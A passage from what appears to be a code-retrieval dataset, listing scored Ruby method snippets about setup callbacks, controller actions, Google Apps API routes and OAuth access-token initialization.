{:method => 'GET', :path =>nil })\n end",
"title": ""
},
{
"docid": "33ff963edc7c4c98d1b90e341e7c5d61",
"score": "0.57375425",
"text": "def setup\n common_setup\n end",
"title": ""
},
{
"docid": "a5ca4679d7b3eab70d3386a5dbaf27e1",
"score": "0.57285565",
"text": "def perform_setup\n end",
"title": ""
},
{
"docid": "ec7554018a9b404d942fc0a910ed95d9",
"score": "0.57149214",
"text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "c85b0efcd2c46a181a229078d8efb4de",
"score": "0.56900954",
"text": "def custom_setup\n\n end",
"title": ""
},
{
"docid": "100180fa74cf156333d506496717f587",
"score": "0.56665677",
"text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend",
"title": ""
},
{
"docid": "2198a9876a6ec535e7dcf0fd476b092f",
"score": "0.5651118",
"text": "def initial_action; end",
"title": ""
},
{
"docid": "b9b75a9e2eab9d7629c38782c0f3b40b",
"score": "0.5648135",
"text": "def setup_intent; end",
"title": ""
},
{
"docid": "471d64903a08e207b57689c9fbae0cf9",
"score": "0.56357735",
"text": "def setup_controllers &proc\n @global_setup = proc\n self\n end",
"title": ""
},
{
"docid": "468d85305e6de5748477545f889925a7",
"score": "0.5627078",
"text": "def inner_action; end",
"title": ""
},
{
"docid": "bb445e7cc46faa4197184b08218d1c6d",
"score": "0.5608873",
"text": "def pre_action\n # Override this if necessary.\n end",
"title": ""
},
{
"docid": "432f1678bb85edabcf1f6d7150009703",
"score": "0.5598699",
"text": "def target_callbacks() = commands",
"title": ""
},
{
"docid": "48804b0fa534b64e7885b90cf11bff31",
"score": "0.5598419",
"text": "def execute_callbacks; end",
"title": ""
},
{
"docid": "5aab98e3f069a87e5ebe77b170eab5b9",
"score": "0.5589822",
"text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "482481e8cf2720193f1cdcf32ad1c31c",
"score": "0.55084664",
"text": "def required_keys(action)\n\n end",
"title": ""
},
{
"docid": "353fd7d7cf28caafe16d2234bfbd3d16",
"score": "0.5504379",
"text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end",
"title": ""
},
{
"docid": "dcf95c552669536111d95309d8f4aafd",
"score": "0.5465574",
"text": "def layout_actions\n \n end",
"title": ""
},
{
"docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40",
"score": "0.5464707",
"text": "def on_setup(&block); end",
"title": ""
},
{
"docid": "8ab2a5ea108f779c746016b6f4a7c4a8",
"score": "0.54471064",
"text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend",
"title": ""
},
{
"docid": "e3aadf41537d03bd18cf63a3653e05aa",
"score": "0.54455084",
"text": "def before(action)\n invoke_callbacks *options_for(action).before\n end",
"title": ""
},
{
"docid": "6bd37bc223849096c6ea81aeb34c207e",
"score": "0.5437386",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "07fd9aded4aa07cbbba2a60fda726efe",
"score": "0.54160327",
"text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "9358208395c0869021020ae39071eccd",
"score": "0.5397424",
"text": "def post_setup; end",
"title": ""
},
{
"docid": "cb5bad618fb39e01c8ba64257531d610",
"score": "0.5392518",
"text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "a468b256a999961df3957e843fd9bdf4",
"score": "0.5385411",
"text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53794575",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5357573",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "118932433a8cfef23bb8a921745d6d37",
"score": "0.53487605",
"text": "def register_action(action); end",
"title": ""
},
{
"docid": "725216eb875e8fa116cd55eac7917421",
"score": "0.5346655",
"text": "def setup\n @controller.setup\n end",
"title": ""
},
{
"docid": "39c39d6fe940796aadbeaef0ce1c360b",
"score": "0.53448105",
"text": "def setup_phase; end",
"title": ""
},
{
"docid": "bd03e961c8be41f20d057972c496018c",
"score": "0.5342072",
"text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end",
"title": ""
},
{
"docid": "c6352e6eaf17cda8c9d2763f0fbfd99d",
"score": "0.5341318",
"text": "def initial_action=(_arg0); end",
"title": ""
},
{
"docid": "207a668c9bce9906f5ec79b75b4d8ad7",
"score": "0.53243506",
"text": "def before_setup\n\n end",
"title": ""
},
{
"docid": "669ee5153c4dc8ee81ff32c4cefdd088",
"score": "0.53025913",
"text": "def ensure_before_and_after; end",
"title": ""
},
{
"docid": "c77ece7b01773fb7f9f9c0f1e8c70332",
"score": "0.5283114",
"text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end",
"title": ""
},
{
"docid": "1e1e48767a7ac23eb33df770784fec61",
"score": "0.5282289",
"text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "4ad1208a9b6d80ab0dd5dccf8157af63",
"score": "0.52585614",
"text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end",
"title": ""
},
{
"docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7",
"score": "0.52571374",
"text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end",
"title": ""
},
{
"docid": "fc88422a7a885bac1df28883547362a7",
"score": "0.52483684",
"text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end",
"title": ""
},
{
"docid": "8945e9135e140a6ae6db8d7c3490a645",
"score": "0.5244467",
"text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "7b3954deb2995cf68646c7333c15087b",
"score": "0.5236853",
"text": "def after_setup\n end",
"title": ""
},
{
"docid": "1dddf3ac307b09142d0ad9ebc9c4dba9",
"score": "0.52330637",
"text": "def external_action\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "5772d1543808c2752c186db7ce2c2ad5",
"score": "0.52300817",
"text": "def actions(state:)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "64a6d16e05dd7087024d5170f58dfeae",
"score": "0.522413",
"text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52226824",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "db0cb7d7727f626ba2dca5bc72cea5a6",
"score": "0.521999",
"text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end",
"title": ""
},
{
"docid": "8d7ed2ff3920c2016c75f4f9d8b5a870",
"score": "0.5215832",
"text": "def pick_action; end",
"title": ""
},
{
"docid": "7bbfb366d2ee170c855b1d0141bfc2a3",
"score": "0.5213786",
"text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end",
"title": ""
},
{
"docid": "78ecc6a2dfbf08166a7a1360bc9c35ef",
"score": "0.52100146",
"text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end",
"title": ""
},
{
"docid": "2aba2d3187e01346918a6557230603c7",
"score": "0.52085197",
"text": "def ac_action(&blk)\n @action = blk\n end",
"title": ""
},
{
"docid": "4c23552739b40c7886414af61210d31c",
"score": "0.5203262",
"text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end",
"title": ""
},
{
"docid": "691d5a5bcefbef8c08db61094691627c",
"score": "0.5202406",
"text": "def performed(action)\n end",
"title": ""
},
{
"docid": "6a98e12d6f15af80f63556fcdd01e472",
"score": "0.520174",
"text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end",
"title": ""
},
{
"docid": "d56f4ec734e3f3bc1ad913b36ff86130",
"score": "0.5201504",
"text": "def create_setup\n \n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "7fca702f2da4dbdc9b39e5107a2ab87d",
"score": "0.5191404",
"text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end",
"title": ""
},
{
"docid": "063b82c93b47d702ef6bddadb6f0c76e",
"score": "0.5178325",
"text": "def setup(instance)\n action(:setup, instance)\n end",
"title": ""
},
{
"docid": "9f1f73ee40d23f6b808bb3fbbf6af931",
"score": "0.51765746",
"text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "7a0c9d839516dc9d0014e160b6e625a8",
"score": "0.5162045",
"text": "def setup(request)\n end",
"title": ""
},
{
"docid": "e441ee807f2820bf3655ff2b7cf397fc",
"score": "0.5150735",
"text": "def after_setup; end",
"title": ""
},
{
"docid": "1d375c9be726f822b2eb9e2a652f91f6",
"score": "0.5143402",
"text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end",
"title": ""
},
{
"docid": "c594a0d7b6ae00511d223b0533636c9c",
"score": "0.51415485",
"text": "def code_action_provider; end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51398855",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "2fcff037e3c18a5eb8d964f8f0a62ebe",
"score": "0.51376045",
"text": "def setup(params)\n end",
"title": ""
},
{
"docid": "111fd47abd953b35a427ff0b098a800a",
"score": "0.51318985",
"text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end",
"title": ""
},
{
"docid": "f2ac709e70364fce188bb24e414340ea",
"score": "0.5115387",
"text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "4c7a1503a86fb26f1e4b4111925949a2",
"score": "0.5109771",
"text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end",
"title": ""
},
{
"docid": "63849e121dcfb8a1b963f040d0fe3c28",
"score": "0.5107364",
"text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend",
"title": ""
},
{
"docid": "f04fd745d027fc758dac7a4ca6440871",
"score": "0.5106081",
"text": "def block_actions options ; end",
"title": ""
},
{
"docid": "0d1c87e5cf08313c959963934383f5ae",
"score": "0.51001656",
"text": "def on_action(action)\n @action = action\n self\n end",
"title": ""
},
{
"docid": "916d3c71d3a5db831a5910448835ad82",
"score": "0.50964546",
"text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end",
"title": ""
},
{
"docid": "076c761e1e84b581a65903c7c253aa62",
"score": "0.5093199",
"text": "def add_callbacks(base); end",
"title": ""
}
] |
44a74bfed7bf69367bb277c03089e798
|
Public: Instantiates a FriendLoader object access_token An access token returned by the Facebook OAuth exchange.
|
[
{
"docid": "db304bee84a4c3fef25d978d8bf1ef85",
"score": "0.6690496",
"text": "def initialize(access_token)\n @access_token = access_token\n end",
"title": ""
}
] |
[
{
"docid": "e2abb1ad0b255bd8202256f41f461183",
"score": "0.6763806",
"text": "def initialize(access_token)\n @app_id = Rails.application.config.facebook_app_id\n @app_secret = Rails.application.config.facebook_app_secret\n @redirect_uri = Rails.application.config.facebook_redirect_uri\n @access_token = access_token\n end",
"title": ""
},
{
"docid": "0511ca23ce39b189e9c04719d763c082",
"score": "0.6641407",
"text": "def initialize(access_token)\n @access_token = access_token\n end",
"title": ""
},
{
"docid": "0511ca23ce39b189e9c04719d763c082",
"score": "0.6641407",
"text": "def initialize(access_token)\n @access_token = access_token\n end",
"title": ""
},
{
"docid": "0511ca23ce39b189e9c04719d763c082",
"score": "0.6641407",
"text": "def initialize(access_token)\n @access_token = access_token\n end",
"title": ""
},
{
"docid": "5855168556a8a7e102f2b8e9eee8465f",
"score": "0.6248068",
"text": "def init_access_token(params)\n @access_token = request_token.get_access_token(params)\n end",
"title": ""
},
{
"docid": "a7508ad96b8d5ba27e6bcb4acfc06746",
"score": "0.61274743",
"text": "def initialize(access_token: nil)\r\n Configuration.access_token = access_token if\r\n access_token\r\n end",
"title": ""
},
{
"docid": "bc1f2e4324279d2f68d633c2e861b67b",
"score": "0.6021268",
"text": "def init\n init_oauth_access_token\n end",
"title": ""
},
{
"docid": "0e84c581cda3214fe618cce362a6fbfe",
"score": "0.59694666",
"text": "def initialize(access_token)\n @value = access_token\n end",
"title": ""
},
{
"docid": "d84a0dc72314f66d8fdd4834b0822b5d",
"score": "0.5928862",
"text": "def initialize(consumer_key, consumer_secret, token, token_secret)\n @consumer = OAuth::Consumer.new(consumer_key, consumer_secret, {:site => API_HOST})\n @access_token = OAuth::AccessToken.new(@consumer, token, token_secret)\n end",
"title": ""
},
{
"docid": "87398482d72640d3f6a6f5431a347873",
"score": "0.5915796",
"text": "def init_oauth_access_token\n @oauth_access_token = OAuth2::AccessToken.new(\n User.new_oauth_client,\n read_attribute(:access_token),\n {\n :refresh_token => read_attribute(:refresh_token),\n :expires_at => read_attribute(:access_token_expires_at)\n }\n )\n end",
"title": ""
},
{
"docid": "63a17e9e1587d1233ed4b0d13e408a7b",
"score": "0.5856978",
"text": "def from_access_token(access_token)\n Authentication::OAuth2::AccessTokenAuthentication\n .new(access_token)\n end",
"title": ""
},
{
"docid": "ea5a03794207439b1b8dc028ff681656",
"score": "0.58222336",
"text": "def initialize(access_token)\n @access_token = access_token\n @threads = []\n @exception_array = %w[authenticity_token]\n end",
"title": ""
},
{
"docid": "eb5b086a0d8b9d3e1567124a1849c5c6",
"score": "0.5806088",
"text": "def access_token\n @access_token ||= OAuth::AccessToken.new(consumer, @token, @secret)\n end",
"title": ""
},
{
"docid": "3655a0951050473c2415575d0e164ca0",
"score": "0.5799702",
"text": "def get_access_token(request_token = @request_token)\n # response = @consumer.token_request(@consumer.http_method,\n # (@consumer.access_token_url? ? @consumer.access_token_url : @consumer.access_token_path),\n # request_token,\n # {},\n # headers)\n\n # @access_token = ::OAuth::AccessToken.new(@consumer, response[:oauth_token], response[:oauth_token_secret])\n @access_token = request_token.get_access_token\n end",
"title": ""
},
{
"docid": "40f7c8e00acf7e7342c6dcf721de4fed",
"score": "0.5753845",
"text": "def access_token\n @oauth_access_token ||= ::OAuth::AccessToken.new(consumer, @access_token, @access_secret)\n end",
"title": ""
},
{
"docid": "ceb109a918d495db057bd4fbce113a55",
"score": "0.57501197",
"text": "def access_token\n OAuth::AccessToken.new(consumer, oauth_token, oauth_token_secret)\n end",
"title": ""
},
{
"docid": "01fe6d343ff6a5754fd0da74e21d22fc",
"score": "0.5729722",
"text": "def access_token\n @access_token ||= AccessToken.new(caller_service: caller_service, authorizator_service: authorizator_service)\n end",
"title": ""
},
{
"docid": "98634f3e734a7fab0056ffe60655c1b7",
"score": "0.5728527",
"text": "def access_token\n @access_token ||= OAuth::AccessToken.new(consumer, @token, @secret)\n end",
"title": ""
},
{
"docid": "60777f73beff3705d3169131be4c7505",
"score": "0.5671726",
"text": "def initialize(access_token)\n self.class.basic_auth access_token, nil\n end",
"title": ""
},
{
"docid": "e2674b98570e3d15a0a555ad15687eed",
"score": "0.5626066",
"text": "def initialize(from, to, client_secret)\n @from = from\n @to = to\n @client_secret = client_secret\n @access_token = fetch_access_token\n end",
"title": ""
},
{
"docid": "22584c752a462077cc09c20e273d6e14",
"score": "0.56066513",
"text": "def fetch\n response = request.post(path: \"/#{base_path}/token\", claims_token: claims_token.static)\n\n self.access_token = Oj.load(response.body)['token']\n self\n end",
"title": ""
},
{
"docid": "616d9f80eacd58513e94ab062d99fd3a",
"score": "0.55873936",
"text": "def prepare_access_token(oauth_token, oauth_token_secret, consumer_token, consumer_secret)\n consumer = OAuth::Consumer.new(consumer_token, consumer_secret, {:site => @base_uri})\n # now create the access token object from passed values\n token_hash = {:oauth_token => oauth_token, :oauth_token_secret => oauth_token_secret}\n @access_token = OAuth::AccessToken.from_hash(consumer, token_hash)\n end",
"title": ""
},
{
"docid": "29d06b09cbdc5d48200e7f2ce7c5c28a",
"score": "0.55851954",
"text": "def build_token(access_token)\n return OAuth2::AccessToken.new CLIENT, access_token\n end",
"title": ""
},
{
"docid": "4ce723134d16687682178c11ea8cd030",
"score": "0.5566816",
"text": "def initialize(client_id, access_token=nil, callback=nil)\n @client_id = client_id\n @access_token = access_token\n @format = :json\n @callback = callback\n end",
"title": ""
},
{
"docid": "c64895f860d15166394993add7d551f5",
"score": "0.555397",
"text": "def initialize(access_hash = nil)\n @access_token = access_hash[\"access_token\"] if access_hash\n # binding.pry\n end",
"title": ""
},
{
"docid": "cf8ce38ac5e9bee4157000efa9123c4f",
"score": "0.5529468",
"text": "def rest_api\n Koala::Facebook::RestAPI.new(access_token)\n end",
"title": ""
},
{
"docid": "29dea0a16b132aa1dbb558306f5cc085",
"score": "0.5510249",
"text": "def prepare_access_token\n consumer = OAuth::Consumer.new(@consumer_key, @consumer_secret,\n { :site => @hostname,\n :scheme => :header,\n :access_token_path=>\"/v1/oauth/token/access\",\n :authorize_path => \"/v1/oauth/authorize\",\n :request_token_path => \"/v1/oauth/token/request\"\n })\n\n access_token = OAuth::AccessToken.from_hash(consumer, :oauth_token => @access_token, :oauth_token_secret => @access_token_secret) \n return access_token\n end",
"title": ""
},
{
"docid": "8cfc282476189513c35239c797bc5ae5",
"score": "0.55064285",
"text": "def access_token\n token = ArticleJSON.configuration.facebook_token\n\n if token.nil?\n raise 'You need to configure the facebook token to use facebook' \\\n 'embed videos, see:' \\\n 'https://github.com/Devex/article_json#facebook-oembed'\n end\n token\n end",
"title": ""
},
{
"docid": "f97b38fbd17fa253a87d18a2f2ae6e7c",
"score": "0.5499987",
"text": "def initialize(o_auth_access_token: nil)\r\n Configuration.o_auth_access_token = o_auth_access_token if\r\n o_auth_access_token\r\n end",
"title": ""
},
{
"docid": "3822de4c76f5e99400c05dd710d6f90c",
"score": "0.5472867",
"text": "def set_access_token(key, secret)\n @access_token = OAuthToken.new(key, secret)\n end",
"title": ""
},
{
"docid": "fee6a62ba0376156d386f4b2304d9ba5",
"score": "0.54501724",
"text": "def access_token\n @access_token ||= begin\n if oauth_options[:oauth_verifier]\n request_token.get_access_token(:oauth_verifier => oauth_options[:oauth_verifier])\n else\n request_token.get_access_token\n end\n end\n end",
"title": ""
},
{
"docid": "adf91953eb47d5e8d332565f1f009909",
"score": "0.54329365",
"text": "def initialize(access_token:, url: 'https://api.base-api.io')\n @users =\n Endpoints::Users.new(\n access_token: access_token,\n url: url\n )\n\n @files =\n Endpoints::Files.new(\n access_token: access_token,\n url: url\n )\n\n @images =\n Endpoints::Images.new(\n access_token: access_token,\n url: url\n )\n\n @sessions =\n Endpoints::Sessions.new(\n access_token: access_token,\n url: url\n )\n\n @emails =\n Endpoints::Emails.new(\n access_token: access_token,\n url: url\n )\n\n @passwords =\n Endpoints::Passwords.new(\n access_token: access_token,\n url: url\n )\n\n @mailing_lists =\n Endpoints::MailingLists.new(\n access_token: access_token,\n url: url\n )\n\n @forms =\n Endpoints::Forms.new(\n access_token: access_token,\n url: url\n )\n end",
"title": ""
},
{
"docid": "9c8c18a24ccf8dcdf0488d967d2f658c",
"score": "0.5432074",
"text": "def set_access_token\n # get the access token from wherever we can\n @access_token ||= (set_oauth_data && @oauth_access_token) || (set_facebook_cookies && @cookie_access_token)\n end",
"title": ""
},
{
"docid": "c21612e3ad2842c65aedc09413f3daf4",
"score": "0.5413698",
"text": "def app_access_token\n # If a token isn't provided but we need it, fetch it\n @app_access_token ||= Koala::Facebook::OAuth.new(@app_id, @secret).get_app_access_token\n end",
"title": ""
},
{
"docid": "3b29fd77d1ef399116009724e9b6cf4b",
"score": "0.53679854",
"text": "def login_token(access_token)\n\t\tself.access_token = access_token\n\tend",
"title": ""
},
{
"docid": "34ae06a993e2f3af1baf465dcdcc2ae6",
"score": "0.5367309",
"text": "def get_access_token_from_token(token, params={})\n params = params.inject({}) { |options, (key, value)| options[key.to_s] = value; options }\n @access_token ||= ::OAuth2::AccessToken.new(client, token, params)\n end",
"title": ""
},
{
"docid": "574424f72604d4691f771e8ecbbcbf2f",
"score": "0.5350995",
"text": "def from_auth_token_and_secret(token, secret)\n @token = OAuth::AccessToken.from_hash(@consumer,\n :oauth_token => token,\n :oauth_token_secret => secret)\n end",
"title": ""
},
{
"docid": "95abea61b329a209ee415c81ca02d52e",
"score": "0.53490674",
"text": "def facebook\n @facebook ||= Koala::Facebook::API.new(oauth_token)\n end",
"title": ""
},
{
"docid": "7968a18448c4153d88bc18d35d017b55",
"score": "0.53443754",
"text": "def get_access_token\n raise HyvesException, 'You need an request token to make get an access token' if request_token.nil?\n @access_token = request_token.get_access_token\n\n @userid = request_token.response[\"userid\"]\n @expiredate = Time.at(request_token.response[\"expiredate\"].to_i) if not request_token.response[\"expiredate\"].nil?\n\n @access_token\n end",
"title": ""
},
{
"docid": "1d5ee1bbb02f153ac5fc22dbb3d4ff5f",
"score": "0.5338667",
"text": "def initialize( user_token = nil, user_secret = nil )\n\t\t@consumer = OAuth::Consumer.new(TWOAUTH_KEY, TWOAUTH_SECRET, { :site=> TWOAUTH_SITE })\n\t\t@access_token = OAuth::AccessToken.new( @consumer, user_token, user_secret ) if user_token && user_secret\n end",
"title": ""
},
{
"docid": "df217dabce813b8608e7b523f292ff9f",
"score": "0.53352344",
